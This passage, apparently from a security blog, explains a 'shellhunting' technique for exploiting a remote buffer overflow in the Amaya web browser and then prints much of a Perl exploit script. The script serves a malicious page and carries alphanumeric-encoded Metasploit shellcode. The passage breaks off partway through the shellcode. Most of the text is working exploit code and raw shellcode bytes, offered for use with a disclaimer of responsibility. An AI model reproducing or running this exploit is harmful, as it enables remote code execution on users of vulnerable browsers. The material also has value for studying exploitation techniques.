<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>34&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>33&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>57&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Very corrupted data, like that we cannot execute anything because of malformed instructions (the decoder for the alphanumerical shellcode will have also no chance to work).  It is clear that the only way will be to look at the heap.</p>
<p>Now I will describe how my shellhunter works!</p>
<ol>
<li>The shellhunter will start as being 98% alphanumerical so it can be successfully executed.</li>
<li>The &#8220;lookout&#8221; values must not cause an exception because we will redirect the execution flow to those values!</li>
<li>It will loop and search the heap for the &#8220;lookout&#8221; values INFRONT of the shellcode.</li>
<li>Once the &#8220;lookout&#8221; values are located, PUSH EDI and then RETN to that address.</li>
</ol>
<p>This is efficient and it will work one-hundred percent on every try the browser parses the HTML page.</p>
<p>You can also see that I am using an addition with the $additionaddr variable, this is because the variable cannot be on the heap next to the corrupted data! So we basicially add a few bytes to the variable in the register EAX that holds the $additionaddr that will turn into the &#8220;lookout&#8221; value so the shellhunter can easily compare data in the heap!</p>
<p>I hope you learned something today ladies and gents! The exploit is included below!</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Amaya Web Browser &amp;lt;= 11.0.1 Remote Buffer Overflow Exploit</span>
<span style="color: #666666; font-style: italic;"># Found/Exploit by SkD (skdrat@hotmail.com)</span>
<span style="color: #666666; font-style: italic;">#                (skd@abysssec.com  )</span>
<span style="color: #666666; font-style: italic;"># -----------------------------------------------</span>
<span style="color: #666666; font-style: italic;"># This is advanced buffer overflow exploitation using</span>
<span style="color: #666666; font-style: italic;"># my new method called shellhunting :)</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Get more information about this at http://abysssec.com</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Exploit works only on a fully patched Vista SP1, but you</span>
<span style="color: #666666; font-style: italic;"># may need to click 'Refresh' to make the shellcode exec</span>
<span style="color: #666666; font-style: italic;"># sometimes.</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Note: Author has no responsibility over the damage you do with this!</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> strict<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> warnings<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$html</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$port_listen</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">80</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;"># change this to your desired port!</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$listenip</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;127.0.0.1&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;"># change this to your desired IP!</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>34&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span><span style="color: #339933;">.</span>
